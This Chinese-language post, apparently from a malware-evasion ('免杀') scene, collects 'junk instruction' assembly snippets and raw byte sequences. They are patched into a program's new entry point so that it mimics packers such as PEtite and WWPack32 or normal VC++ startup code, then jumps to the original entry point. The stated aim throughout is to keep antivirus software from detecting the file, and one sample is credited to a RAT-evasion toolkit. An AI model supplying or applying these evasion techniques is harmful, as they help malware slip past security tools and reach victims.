免杀必备-花指令

【深层】伪装 PEtite 2.2 -> Ian Luck 汇编代码： ============================ 伪装代码部分： ============================ mov eax,0040E000 push 004153F3 push dword ptr fs:[0] mov dword ptr fs:[0],esp pushfw pushad push eax xor ebx,ebx pop eax popad popfw pop dword ptr fs:[0] pop eax jmp XXXXXXXX '执行到程序的原有OEP ============================ 【深层】伪装 WCRT Library (Visual C++) DLL Method 1 -> Jibz 二进制代码 + 汇编代码： ============================ 伪装代码部分： ============================ 使用二进制粘贴以下代码： 55 8B EC 83 7D 0C 01 75 41 A1 C0 30 00 10 85 C0 74 0A FF D0 85 C0 75 04 6A FE EB 17 68 0C 30 00 10 68 08 30 00 10 E8 89 00 00 00 85 C0 59 59 74 08 6A FD FF 15 08 20 00 10 68 04 30 00 10 68 00 30 00 10 E8 52 00 00 00 59 59 粘贴完毕后，再添加2行汇编语句： jmp XXXXXXXX '执行到程序的原有OEP retn 0C ============================ 从哓哓免杀上兴2006里提出的花指令 1320F01D . 0000 add byte ptr ds:[eax],al 1320F01F . 0055 8B add byte ptr ss:[ebp-75],dl 1320F022 . EC in al,dx 1320F023 . 6A FF push -1 1320F025 . 68 22222200 push 222222 1320F02A . 68 44444400 push 444444 ; SE handler installation 1320F02F . 64:A1 00000000 mov eax,dword ptr fs:[0] 1320F035 . 50 push eax 1320F036 . 64:8925 00000000 mov dword ptr fs:[0],esp 1320F03D . 58 pop eax 1320F03E . 64:A3 00000000 mov dword ptr fs:[0],eax 1320F044 . 58 pop eax 1320F045 . 58 pop eax 1320F046 . 58 pop eax 1320F047 . 58 pop eax 1320F048 . 58 pop eax 1320F049 . 74 0A je short Server__.1320F055 1320F04B . 75 08 jnz short Server__.1320F055 1320F04D . 90 nop 1320F04E . 90 nop 1320F04F . 90 nop 1320F050 . 90 nop 1320F051 . 90 nop 1320F052 . 90 nop 1320F053 . 90 nop 1320F054 . 90 nop 1320F055 > 90 nop 1320F056 . E2 04 loopd short Server__.1320F05C 1320F058 . 90 nop 1320F059 . 90 nop 1320F05A . 90 nop 1320F05B . 90 nop 1320F05C > 90 nop 1320F05D .^ 0F82 DD8FFDFF jb Server__.131E8040 1320F063 .^ 0F83 D78FFDFF jnb Server__.131E8040 花指令 add byte ptr ds:[eax+9018EB90],dl db 0e8h -------------------------------------------------------------------- C: push ebp mov ebp,esp push -1 push 111111 push 222222 mov eax,fs:[0] push eax mov fs:[0],esp pop eax mov fs:[0],eax pop eax pop eax pop eax pop eax mov ebp,eax jmp 文件头 —————————————————————————————————— 另一种： 新入口地址： push ebp mov ebp,esp inc ecx push edx nop pop edx dec ecx pop ebp inc ecx loop 某一处 某一处： nop jmp j1 j1: jmp j2 nop .............. jmp jn jn: jmp 老入口地址 ----------------------------------------------------------------------------------- VC++程序的入口代码: PUSH EBP MOV EBP,ESP PUSH -1 push 415448 -/___ PUSH 4021A8 -/ 在这段代码中类似这样的操作数可以乱填 MOV EAX,DWORD PTR FS:[0] PUSH EAX MOV DWORD PTR FS:[0],ESP ADD ESP,-6C PUSH EBX PUSH ESI PUSH EDI ADD BYTE PTR DS:[EAX],AL /这条指令可以不要! jmp 跳转到程序原来的入口点 ---------------------------------------------------------------------------- Microsoft Visual C++ 6.0 PUSH -1 PUSH 0 PUSH 0 MOV EAX,DWORD PTR FS:[0] PUSH EAX MOV DWORD PTR FS:[0],ESP SUB ESP,68 PUSH EBX PUSH ESI PUSH EDI POP EAX POP EAX POP EAX ADD ESP,68 POP EAX MOV DWORD PTR FS:[0],EAX POP EAX POP EAX POP EAX POP EAX MOV EBP,EAX JMP 原入口 ----------------------------------------------------------------------------------- VC++程序的入口代码: PUSH EBP MOV EBP,ESP PUSH -1 push 415448 PUSH 4021A8 MOV EAX,DWORD PTR FS:[0] PUSH EAX MOV DWORD PTR FS:[0],ESP ADD ESP,-6C PUSH EBX PUSH ESI PUSH EDI ADD BYTE PTR DS:[EAX],AL /这条指令可以不要! jo 00401000 /原入口 jno 00401000 /原入口 db 0e8h /花代 _______________________------------------------------------------- push ebp nop nop mov ebp,esp inc ecx nop push edx nop nop pop edx nop pop ebp inc ecx loopd short 1 nop nop jmp short 2 nop jmp short 3 nop jmp short 4 jmp ---------------------------------------------------------------- push ebp nop nop mov ebp,esp inc ecx nop push edx nop nop pop edx nop pop ebp inc ecx loopd nop nop add byte ptr ds:[eax+9018EB90],dl ----------------------------------------------------------- 浩天花 PUSH EBP MOV EBP,ESP nop nop PUSH -1 nop nop push 515448 nop nop PUSH 6021A8 nop nop MOV EAX,DWORD PTR FS:[0] PUSH EAX MOV DWORD PTR FS:[0],ESP nop nop MOV EAX,DWORD PTR FS: PUSH EAX MOV DWORD PTR FS: ,ESP nop nop MOV EAX,DWORD PTR FS: PUSH EAX MOV DWORD PTR FS: ,ESP nop nop mov eax,fs:[0] push eax mov fs:[0],esp nop nop inc ecx push eax pop eax push edx nop pop edx dec ecx pop ebp inc ecx nop nop ADD ESP,-6C PUSH EBX PUSH ESI PUSH EDI jmp 跳转到程序原来的入口点 -------------------------------------------------------------------- 防杀精灵终极防杀代码 push ebp mov ebp,esp add esp,-0C add esp,0C push eax jmp 花指令:【深层】伪装 WWPack32 1.x -> Piotr Warezak 汇编代码： ============================ 伪装代码部分： ============================ CODE: push ebx push ebp mov ebp,eax xor ebx,ebx jmp short NOTEPAD2.01013068 or eax,570A0D0A push edi push eax popad arpl word ptr ds:[ebx+33],bp xor al,byte ptr ds:[eax] [Copy to clipboard] ...........(中间代码随意填写，但保证地址是有效的) 来到01013068处，地址修改为： jmp XXXXXXXX     '执行到程序的原有OEP